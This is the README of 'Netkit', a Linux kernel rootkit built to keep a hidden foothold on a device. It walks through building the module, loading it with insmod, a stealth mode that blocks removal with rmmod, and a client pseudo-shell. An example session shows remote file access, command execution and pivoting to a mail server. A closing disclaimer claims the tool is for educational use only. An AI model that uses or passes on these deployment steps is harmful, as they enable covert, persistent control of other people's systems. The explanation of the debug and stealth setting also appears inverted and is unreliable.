Netkit is a purposefully small rootkit which can be used by clients over network to maintain a sneaky foothold into a device.

Netkit has several features:

• File read
• File write
• File execute (stderr + stdout)
• Proxy
• Self deletion (stopping the module from running and free'ing resources)

Once the rootkit is loaded into the system, a user may want to interact with it using the provided psuedo-shell:

cd netkit
$ python3 client/shell.py 10.10.10.1:8008
10.10.10.1:8008/ $ hosts     
usage:
- hosts push <ip>:<port>
- hosts pop

10.10.10.1:8008/ $ hostname
gateway-1a723f

10.10.10.1:8008/ $ hosts push 10.10.10.2:8008
[+] successfully added device 10.10.10.2:8008 to hosts list
10.10.10.1:8008->10.10.10.2:8008/ $ hostname
mail-server

To run the rootkit, optionally tweak it in the configurations, build it using make and ship it using insmod, or any other kernel module loader.

==== Please make sure to adjust CONFIG_NETKIT_DEBUG to your liking ====

If CONFIG_NETKIT_DEBUG is enabled, then stealth mode is enabled and the rootkit can only be stopped using the self destruct / exit cmd (not using rmmod).

Make sure to set $KERNEL_DIR to your kernels' hedaer files, like KERNEL_DIR=/usr/src/linux-headers-$(uname -r)

git clone https://github.com/notselwyn/netkit/
cd netkit
make KERNEL_DIR=$KERNEL_DIR

ls -la netkit.ko

Since the rootkit was developed with the author's kernel-scripts, it's a breeze to debug and test. Simply download the scripts and compile a compatible Linux kernel.

To run the kernel:

cd netkit
create-image.sh
run.sh $KERNEL_DIR

To run and interact with the rootkit (make sure it's in debug mode to allow for rmmod in run_kmod.sh):

cd netkit
run_kmod.sh netkit.ko netkit
run_python.sh client/shell.py

The programs and scripts ("programs") in this software directory/folder/repository ("repository") are published, developed and distributed for educational/research purposes only. I ("the creator") do not condone any malicious or illegal usage of the programs in this repository, as the intend is sharing research and not doing illegal activities with it. I am not legally responsible for anything you do with the programs in this repository.